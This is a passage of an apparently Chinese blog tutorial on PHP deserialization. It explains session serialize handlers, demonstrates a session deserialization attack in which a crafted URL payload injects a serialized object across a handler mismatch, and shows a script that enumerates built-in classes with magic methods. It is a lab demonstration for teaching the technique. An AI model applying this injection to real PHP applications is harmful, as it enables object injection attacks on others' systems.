style=\"color:#998418;--shiki-dark:#B8A965\">session_start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sevensevensevensevensevensevenseven</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sevensevensevensevensevensevenseven</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sevensevensevensevensevensevenseven</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/binary.png\" class=\"\" title=\"binary\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#sevensevensevensevensevensevensevens:14:\"ZLARYY&#123;2l47yY&#125;\";</span></span></code></pre>\n<p>为了方便展示这里用了长度为35，ASCII字符为#的键名，这里键名最后的s表示String</p>\n<h3 id=\"session反序列化漏洞\"><a class=\"anchor\" href=\"#session反序列化漏洞\">#</a> session反序列化漏洞</h3>\n<p>session的反序列化漏洞，就是利用<code>php</code>处理器和<code>php_serialize</code>处理器的存储格式差异而产生，通过具体的代码我们来看下漏洞出现的原因</p>\n<p>首先创建<code>session.php</code>，使用<code>php_serialize</code>处理器来存储session数据</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">ini_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">session.serialize_handler</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">php_serialize</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">session_start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">session</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">session</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">session</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>接着再创建一个liu.php，使用默认php处理器来存储session数据</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">session_start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">phpinfo()</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">   </span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __wakeup</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">im ready to be unserialized</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Finished</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>接着，我们构建URL进行访问<code>session.php</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://ZLARYY.com/session.php?session=|O:6:\"ZLARYY\":3:&#123;s:6:\"xiexie\";s:9:\"phpinfo()\";s:8:\"Chesmond\";N;s:5:\"Arach\";N;&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/session.png\" class=\"\" title=\"session\"></p>\n<p>打开<code>PHPSESSID</code>文件可看到序列化存储的内容</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>a:1:&#123;s:7:\"session\";s:78:\"|O:6:\"ZLARYY\":3:&#123;s:6:\"xiexie\";s:9:\"phpinfo()\";s:8:\"Chesmond\";N;s:5:\"Arach\";N;&#125;\";&#125;</span></span></code></pre>\n<p>这时，由于浏览器中保存的PHPSEED文件名不变，当我们把用session.php生成的PHPSEEID文件一并带去访问另一个liu.php，再加上liu.php的PHPSEEID文件存储形式为默认，那么就会把|后面的内容反序列化，造成如下结果：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/result.png\" class=\"\" title=\"result\"></p>\n<p><strong>注：反序列化字符串这个行为不会触发__construct()</strong></p>\n<p>php session工作流程如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>以PHP为例，理解session的原理</span></span>\n<span class=\"line\"><span>1.PHP脚本使用 session_start()时开启session会话，会自动检测PHPSESSID</span></span>\n<span class=\"line\"><span>    如果Cookie中存在，获取PHPSESSID</span></span>\n<span class=\"line\"><span>    如果Cookie中不存在，创建一个PHPSESSID，并通过响应头以Cookie形式保存到浏览器</span></span>\n<span class=\"line\"><span>2.初始化超全局变量$_SESSION为一个空数组</span></span>\n<span class=\"line\"><span>3.PHP通过PHPSESSID去指定位置（PHPSESSID文件存储位置）匹配对应的文件</span></span>\n<span class=\"line\"><span>    存在该文件：读取文件内容（通过反序列化方式），将数据存储到$_SESSION中</span></span>\n<span class=\"line\"><span>    不存在该文件： session_start()创建一个PHPSESSID命名文件</span></span>\n<span class=\"line\"><span>4.程序执行结束，将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中</span></span></code></pre>\n<h2 id=\"原生类反序列化\"><a class=\"anchor\" href=\"#原生类反序列化\">#</a> 原生类反序列化</h2>\n<p>在学习这一块的时候注意到了一篇文章用脚本枚举了有魔术方法的所有内置类:</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">classes</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> get_declared_classes</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">foreach</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">classes</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> as</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">class</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">methods</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> get_class_methods</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">class</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    foreach</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">methods</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> as</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">method</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">in_array</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">method</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__destruct</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__toString</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__wakeup</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__call</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__callStatic</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__get</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__set</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__isset</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__unset</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__invoke</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__set_state</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            print</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">class</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">::</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">method</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\n</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>结果如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Exception::__wakeup</span></span>\n<span class=\"line\"><span>Exception::__toString</span></span>\n<span class=\"line\"><span>ErrorException::__wakeup</span></span>\n<span class=\"line\"><span>ErrorException::__toString</span></span>\n<span class=\"line\"><span>Error::__wakeup</span></span>\n<span class=\"line\"><span>Error::__toString</span></span>\n<span class=\"line\"><span>CompileError::__wakeup</span></span>\n<span class=\"line\"><span>CompileError::__toString</span></span>\n<span class=\"line\"><span>ParseError::__wakeup</span></span>\n<span class=\"line\"><span>ParseError::__toString</span></span>\n<span class=\"line\"><span>TypeError::__wakeup</span></span>\n<span class=\"line\"><span>TypeError::__toString</span></span>\n<span class=\"line\"><span>ArgumentCountError::__wakeup</span></span>\n<span class=\"line\"><span>ArgumentCountError::__toString</span></span>\n<span class=\"line\"><span>ValueError::__wakeup</span></span>\n<span class=\"line\"><span>ValueError::__toString</span></span>\n<span class=\"line\"><span>ArithmeticError::__wakeup</span></span>\n<span class=\"line\"><span>ArithmeticError::__toString</span></span>\n<span class=\"line\"><span>DivisionByZeroError::__wakeup</span></span>\n<span class=\"line\"><span>DivisionByZeroError::__toString</span></span>\n<span class=\"line\"><span>UnhandledMatchError::__wakeup</span></span>\n<span class=\"line\"><span>UnhandledMatchError::__toString</span></span>\n<span class=\"line\"><span>ClosedGeneratorException::__wakeup</span></span>\n<span class=\"line\"><span>ClosedGeneratorException::__toString</span></span>\n<span class=\"line\"><span>FiberError::__wakeup</span></span>\n<span class=\"line\"><span>FiberError::__toString</span></span>\n<span class=\"line\"><span>DateTime::__wakeup</span></span>\n<span class=\"line\"><span>DateTime::__set_state</span></span>\n<span class=\"line\"><span>DateTimeImmutable::__wakeup</span></span>\n<span class=\"line\"><span>DateTimeImmutable::__set_state</span></span>\n<span class=\"line\"><span>DateTimeZone::__wakeup</span></span>\n<span class=\"line\"><span>DateTimeZone::__set_state</span></span>\n<span class=\"line\"><span>DateInterval::__wakeup</span></span>\n<span class=\"line\"><span>DateInterval::__set_state</span></span>\n<span class=\"line\"><span>DatePeriod::__wakeup</span></span>\n<span class=\"line\"><span>DatePeriod::__set_state</span></span>\n<span class=\"line\"><span>JsonException::__wakeup</span></span>\n<span class=\"line\"><span>JsonException::__toString</span></span>\n<span class=\"line\"><span>Random\\RandomError::__wakeup</span></span>\n<span class=\"line\"><span>Random\\RandomError::__toString</span></span>\n<span class=\"line\"><span>Random\\BrokenRandomEngineError::__wakeup</span></span>\n<span class=\"line\"><span>Random\\BrokenRandomEngineError::__toString</span></span>\n<span class=\"line\"><span>Random\\RandomException::__wakeup</span></span>\n<span class=\"line\"><span>Random\\RandomException::__toString</span></span>\n<span class=\"line\"><span>ReflectionException::__wakeup</span></span>\n<span class=\"line\"><span>ReflectionException::__toString</span></span>\n<span class=\"line\"><span>ReflectionFunctionAbstract::__toString</span></span>\n<span class=\"line\"><span>ReflectionFunction::__toString</span></span>\n<span class=\"line\"><span>ReflectionParameter::__toString</span></span>\n<span class=\"line\"><span>ReflectionType::__toString</span></span>\n<span class=\"line\"><span>ReflectionNamedType::__toString</span></span>\n<span class=\"line\"><span>ReflectionUnionType::__toString</span></span>\n<span class=\"line\"><span>ReflectionIntersectionType::__toString</span></span>\n<span class=\"line\"><span>ReflectionMethod::__toString</span></span>\n<span class=\"line\"><span>ReflectionClass::__toString</span></span>\n<span class=\"line\"><span>ReflectionObject::__toString</span></span>\n<span class=\"line\"><span>ReflectionProperty::__toString</span></span>\n<span class=\"line\"><span>ReflectionClassConstant::__toString</span></span>\n<span class=\"line\"><span>ReflectionExtension::__toString</span></span>\n<span class=\"line\"><span>ReflectionZendExtension::__toString</span></span>\n<span class=\"line\"><span>ReflectionAttribute::__toString</span></span>\n<span class=\"line\"><span>ReflectionEnum::__toString</span></span>\n<span class=\"line\"><span>ReflectionEnumUnitCase::__toString</span></span>\n<span class=\"line\"><span>ReflectionEnumBackedCase::__toString</span></span>\n<span class=\"line\"><span>LogicException::__wakeup</span></span>\n<span class=\"line\"><span>LogicException::__toString</span></span>\n<span class=\"line\"><span>BadFunctionCallException::__wakeup</span></span>\n<span class=\"line\"><span>BadFunctionCallException::__toString</span></span>\n<span class=\"line\"><span>BadMethodCallException::__wakeup</span></span>\n<span class=\"line\"><span>BadMethodCallException::__toString</span></span>\n<span class=\"line\"><span>DomainException::__wakeup</span></span>\n<span class=\"line\"><span>DomainException::__toString</span></span>\n<span class=\"line\"><span>InvalidArgumentException::__wakeup</span></span>\n<span class=\"line\"><span>InvalidArgumentException::__toString</span></span>\n<span class=\"line\"><span>LengthException::__wakeup</span></span>\n<span class=\"line\"><span>LengthException::__toString</span></span>\n<span class=\"line\"><span>OutOfRangeException::__wakeup</span></span>\n<span class=\"line\"><span>OutOfRangeException::__toString</span></span>\n<span class=\"line\"><span>RuntimeException::__wakeup</span></span>\n<span class=\"line\"><span>RuntimeException::__toString</span></span>\n<span class=\"line\"><span>OutOfBoundsException::__wakeup</span></span>\n<span class=\"line\"><span>OutOfBoundsException::__toString</span></span>\n<span class=\"line\"><span>OverflowException::__wakeup</span></span>\n<span class=\"line\"><span>OverflowException::__toString</span></span>\n<span class=\"line\"><span>RangeException::__wakeup</span></span>\n<span class=\"line\"><span>RangeException::__toString</span></span>\n<span class=\"line\"><span>UnderflowException::__wakeup</span></span>\n<span class=\"line\"><span>UnderflowException::__toString</span></span>\n<span class=\"line\"><span>UnexpectedValueException::__wakeup</span></span>\n<span class=\"line\"><span>UnexpectedValueException::__toString</span></span>\n<span class=\"line\"><span>CachingIterator::__toString</span></span>\n<span class=\"line\"><span>RecursiveCachingIterator::__toString</span></span>\n<span class=\"line\"><span>SplFileInfo::__toString</span></span>\n<span class=\"line\"><span>DirectoryIterator::__toString</span></span>\n<span class=\"line\"><span>FilesystemIterator::__toString</span></span>\n<span class=\"line\"><span>RecursiveDirectoryIterator::__toString</span></span>\n<span class=\"line\"><span>GlobIterator::__toString</span></span>\n<span class=\"line\"><span>SplFileObject::__toString</span></span>\n<span class=\"line\"><span>SplTempFileObject::__toString</span></span>\n<span class=\"line\"><span>SplFixedArray::__wakeup</span></span>\n<span class=\"line\"><span>AssertionError::__wakeup</span></span>\n<span class=\"line\"><span>AssertionError::__toString</span></span>\n<span class=\"line\"><span>SodiumException::__wakeup</span></span>\n<span class=\"line\"><span>SodiumException::__toString</span></span>\n<span class=\"line\"><span>PDOException::__wakeup</span></span>\n<span class=\"line\"><span>PDOException::__toString</span></span>\n<span class=\"line\"><span>DOMException::__wakeup</span></span>\n<span class=\"line\"><span>DOMException::__toString</span></span>\n<span class=\"line\"><span>FFI\\Exception::__wakeup</span></span>\n<span class=\"line\"><span>FFI\\Exception::__toString</span></span>\n<span class=\"line\"><span>FFI\\ParserException::__wakeup</span></span>\n<span class=\"line\"><span>FFI\\ParserException::__toString</span></span>\n<span class=\"line\"><span>IntlException::__wakeup</span></span>\n<span class=\"line\"><span>IntlException::__toString</span></span>\n<span 